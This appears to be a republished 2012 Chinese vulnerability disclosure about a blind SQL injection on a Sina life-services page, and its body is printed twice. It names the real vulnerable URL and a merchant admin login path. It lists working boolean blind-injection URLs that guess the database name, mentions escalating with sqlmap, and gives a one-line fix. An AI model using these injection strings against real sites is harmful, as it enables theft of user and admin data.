新浪生活服务互动社区Mysql盲注漏洞的介绍及其修复方法(图解)
时间:2012-05-21 12:20:14 魔新豆网
注入漏洞存在地址为
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310
其中该漏洞可以导致数据泄漏,其中泄漏的数据包括团购,优惠券、以及用户联系方式,smslog,团购商户、admin等数据。
同时,团购的商户登陆地址为
http://life.sina.com.cn/tuanadmin
漏洞证明:下面为手工猜解数据库名的语句为
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and Length((database()))<5
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=108
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=105
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=102
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=101
下图为注入是返回对正确与错误的截图
注入返回对的情况截图
注入时返回错的情况截图
一下是使用sqlmap对注入点进行注入攻击,一下该例为查询数据库banner,通过改变命令参数可以对其进行更深入的攻击。
修复方案:
对其uid参数进行检查并且进行过滤。
作者 Insight-labs
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310
其中该漏洞可以导致数据泄漏,其中泄漏的数据包括团购,优惠券、以及用户联系方式,smslog,团购商户、admin等数据。
同时,团购的商户登陆地址为
http://life.sina.com.cn/tuanadmin
漏洞证明:下面为手工猜解数据库名的语句为
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and Length((database()))<5
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=108
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=105
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=102
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=101
下图为注入是返回对正确与错误的截图
注入返回对的情况截图
注入时返回错的情况截图
一下是使用sqlmap对注入点进行注入攻击,一下该例为查询数据库banner,通过改变命令参数可以对其进行更深入的攻击。
修复方案:
对其uid参数进行检查并且进行过滤。
作者 Insight-labs
本文标签:
读过此篇文章的网友还读过:
- 天猫魔盒装第三方软件看电视直播的方法图解
- 房屋风水图解
- 利用3ds Max曲线快速建模墙面的方法图解
- 围巾怎么系好看?韩国最流行围巾系法图解
- 客厅财位在哪里 客厅财位图解
- 戴尔灵越7000性能如何 dell灵越7000笔记本性能全面图解评测
- 联想小新14笔记本值得买吗 锐龙3500U处理器联想小新14新品全面图解评测
- 微星绝影GS75值得买吗?微星绝影GS75轻薄游戏本全面图解评测
- 联想YOGA 7 Pro值得买吗?联想YOGA 7 Pro笔记本详细图解评测
- 联想扬天V530s怎么样?联想扬天V530s-14轻薄本全面评测图解
- 全新戴尔XPS 15内部做工如何?两万元级戴尔XPS 15拆机图解评测
- 华硕灵耀S 2代值得买吗?华硕灵耀S 2代五彩超薄本全面图解评测